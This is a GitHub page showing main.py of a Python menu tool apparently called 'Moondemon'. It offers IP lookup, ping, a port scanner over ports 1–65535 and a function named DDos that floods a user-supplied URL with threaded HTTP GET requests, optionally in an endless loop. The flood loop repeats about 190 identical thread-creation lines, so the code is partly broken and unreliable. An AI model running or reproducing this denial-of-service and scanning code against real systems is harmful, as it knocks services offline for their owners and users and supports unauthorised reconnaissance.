-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
471 lines (444 loc) · 25.9 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
import threading
import requests
import subprocess
import socket
from datetime import datetime
from urllib.request import urlopen
from urllib.parse import urlparse
from json import load
from random import randint
from os import system
import fade
import os
import time
import sys
def pinkred(text):
system(""); faded = ""
blue = 255
for line in text.splitlines():
faded += (f"\033[38;2;255;0;{blue}m{line}")
if not blue == 0:
blue -= 20
if blue < 0:
blue = 0
return faded
numT = 0
numF = 0
p=pinkred
def clear():
os.system("cls" if os.name == "nt" else "clear")
def logo(l=1):
text=( """
███▄ ▄███▓ ▒█████ ▒█████ ███▄ █ ▓█████▄ ▓█████ ███▄ ▄███▓ ▒█████ ███▄ █
▓██▒▀█▀ ██▒▒██▒ ██▒▒██▒ ██▒ ██ ▀█ █ ▒██▀ ██▌▓█ ▀ ▓██▒▀█▀ ██▒▒██▒ ██▒ ██ ▀█ █
▓██ ▓██░▒██░ ██▒▒██░ ██▒▓██ ▀█ ██▒░██ █▌▒███ ▓██ ▓██░▒██░ ██▒▓██ ▀█ ██▒
▒██ ▒██ ▒██ ██░▒██ ██░▓██▒ ▐▌██▒░▓█▄ ▌▒▓█ ▄ ▒██ ▒██ ▒██ ██░▓██▒ ▐▌██▒
▒██▒ ░██▒░ ████▓▒░░ ████▓▒░▒██░ ▓██░░▒████▓ ░▒████▒▒██▒ ░██▒░ ████▓▒░▒██░ ▓██░
░ ▒░ ░ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ░ ▒░ ▒ ▒ ▒▒▓ ▒ ░░ ▒░ ░░ ▒░ ░ ░░ ▒░▒░▒░ ░ ▒░ ▒ ▒
░ ░ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ░░ ░ ▒░ ░ ▒ ▒ ░ ░ ░░ ░ ░ ░ ▒ ▒░ ░ ░░ ░ ▒░
░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ """)
text=fade.pinkred(text)
print(text)
def DDos(url, reque=0, sleep=0, wwhile="n"):
def make_request(url):
global numT, numF
try:
response = requests.get(url)
if response.status_code == 200:
print(f"\033[92m{response.status_code}")
numT += 1
else:
print(f"\033[91m{response.status_code}")
numF += 1
except Exception as e:
print(f"\033[91mError: {e}")
def make_while_request(url):
time.sleep(sleep)
global numT, numF
try:
response = requests.get(url)
if response.status_code == 200:
print(f"\033[92m{response.status_code}")
numT += 1
else:
print(f"\033[91m{response.status_code}")
numF += 1
except Exception as e:
print(f"\033[91mError: {e}")
print(f"\n\033[92mTrue: {numT}\n\033[91mFalse: {numF}")
if wwhile.lower()=="n":
threads = []
print("Attack started at:" + str(datetime.now()))
for _ in range(reque):
try:
t = threading.Thread(target=make_request, args=(url,))
time.sleep(sleep)
threads.append(t)
t.start()
except Exception as e:
print(f"\033[91mError creating thread: {e}")
for t in threads:
t.join()
print("Attack finished at:" + str(datetime.now()))
print(f"\n\033[92mTrue: {numT}\n\033[91mFalse: {numF}")
elif wwhile.lower()=="y":
threads = []
time.sleep(1)
print("Attack started at:" + str(datetime.now()))
while True:
try:
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
t = threading.Thread(target=make_while_request, args=(url,))
time.sleep(sleep)
threads.append(t)
t.start()
except Exception as e:
print("Attack finished at:" + str(datetime.now()))
print(f"\033[91mError creating thread: {e}")
else:
print("IndexError")
def portscan(target):
print("Scanning Target: " + target)
print("Scanning started at:" + str(datetime.now()))
try:
for port in range(1,65535):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.setdefaulttimeout(1)
result = s.connect_ex((target,port))
if result ==0:
print("Port {} is open".format(port))
s.close()
except socket.gaierror:
print("\n Hostname Could Not Be Resolved !!!!")
except socket.error:
print("\n Server not responding !!!!")
def ping(hostname, num_requests, sleep=0.3):
print("Scanning Target: " + hostname)
print("started at:" + str(datetime.now()))
sucess = 1
for _ in range(num_requests):
try:
ping_response = subprocess.Popen(["ping", hostname, "-n", "1"], stdout=subprocess.PIPE).stdout.read()
ping_response = ping_response.decode('cp866', errors='ignore')
try:
ping_time = int(ping_response.split(' ')[-2])
print(f"\rsend {sucess}/{num_requests} ping: {ping_time} ms ", end="", flush=True)
sucess += 1
except (ValueError, IndexError) as e:
print(f"\rError parsing ping response: {e}", end="", flush=True)
time.sleep(sleep)
except Exception as e:
print(f"\033[91m\rError sending ping: {e}", end="", flush=True)
print("\nfinished at:", str(datetime.now()), end="", flush=True)
print(f"\n{sucess - 1}/{num_requests} successfully sent")
def ipInfo(addr=''):
if addr.startswith("http://") or addr.startswith("https://"):
parsed_url = urlparse(addr)
addr = parsed_url.netloc
try:
socket.inet_aton(addr)
url = f'https://ipinfo.io/{addr}/json'
except socket.error:
try:
ip_address = socket.gethostbyname(addr)
url = f'https://ipinfo.io/{ip_address}/json'
except socket.gaierror as e:
print(f"\033[91mError resolving domain: {e}")
return
try:
res = urlopen(url)
data = load(res)
for attr in data.keys():
print(attr, ' ' * 13 + '\t\033[33m->\033[0m\t', data[attr])
except Exception as e:
print(f"\033[91mError fetching IP information: {e}")
def Menu():
clear()
logo()
txt=print(fade.purplepink(f""" . . . . . .
. . * {p("① ip info")} . . . .
. . {p("② ping")} . *
. ____ . . . {p("③ scan port")} . . . .
. . /WWWI; \ . ____ {p("④ DDos")}. . . .
* /WWWWII; \=====; . /WI; \ ./\_ {p("⑤ Exit")} .
. /WWWWWII;.. \_ . ___/WI;:. \ . _/M; \ . . .
/WWWWWIIIIi;.. \__/WWWIIII:.. \____ . . /MMI: \ * .
. _/WWWWWIIIi;;;:...: ;\WWWWWWIIIII;. \ /MMWII; \ . . .
/WWWWWIWIiii;;;.:.. : ;\WWWWWIII;;;:: \___/MMWIIII; \ .
/WWWWWIIIIiii;;::.... : ;|WWWWWWII;;::.: :;IMWIIIII;: \___ *
/WWWWWWWWWIIIIIWIIii;;::;..;\WWWWWWIII;;;:::... ;IMIII;; :: \ .
WWWWWWWWWIIIIIIIIIii;;::.;..;\WWWWWWWWIIIII;;.. :;IMIII;::: : \
WWWWWWWWWWWWWIIIIIIii;;::..;..;\WWWWWWWWIIII;::; :::::::::.....:: \
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%XXXXXXXXXX
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%XXXXXXXXXXXXX
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%XXXXXXXXXXXXXXXXX
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%XXXXXXXXXXXXXXXXXXXX"""))
try:
try:
option = int(input(" Select option: "))
except Exception as e:
print(f"\033[91mError: {e}")
print("\033[91mInvalid input. Please enter a number.")
except Exception as e:
print(f"\033[91mError: {e}")
if option == 1:
clear()
logo()
addr = input("Input IP or domain: ")
ipInfo(addr)
input("\033[95mPress ENTER to continue\033[0m")
elif option == 2:
clear()
logo()
try:
hostname=str(input("input ip to ping:"))
num_requests = int(input("Input number of requests: "))
except Exception as e:
print(f"\033[91mError: {e}")
return
clear()
logo()
ping(hostname, num_requests)
input("\033[95mPress ENTER to continue\033[0m")
elif option == 3:
clear()
logo()
target=input("target: ")
clear()
logo()
portscan(target)
elif option == 4:
clear()
logo()
reque=0
try:
url=str(input("Input IP or domain for DDos: "))
wwhile=str(input("while? [Y/n]: "))
try:
if wwhile.lower()=="n":
try:
reque = int(input("Input number of requests: "))
sleep = float(input("Input sleep between requests: "))
except Exception as e:
print(f"\033[91mError: {e}")
print("\033[91mInvalid input. Please enter a valid number.")
return
elif wwhile.lower()=="y":
try:
sleep = float(input("Input sleep between requests: "))
except Exception as e:
print(f"\033[91mError: {e}")
print("\033[91mInvalid input. Please enter a valid number.")
except Exception as e:
print(f"\033[91mError: {e}")
except Exception as e:
print(f"\033[91mError: {e}")
DDos(url, reque, sleep, wwhile)
input("\033[95mPress ENTER to continue\033[0m")
elif option == 5:
clear()
logo()
print("\033[91mExiting the program.\033[0m")
input("\033[95mPress ENTER to exit\033[0m")
sys.exit()
if __name__ == "__main__":
while True:
Menu()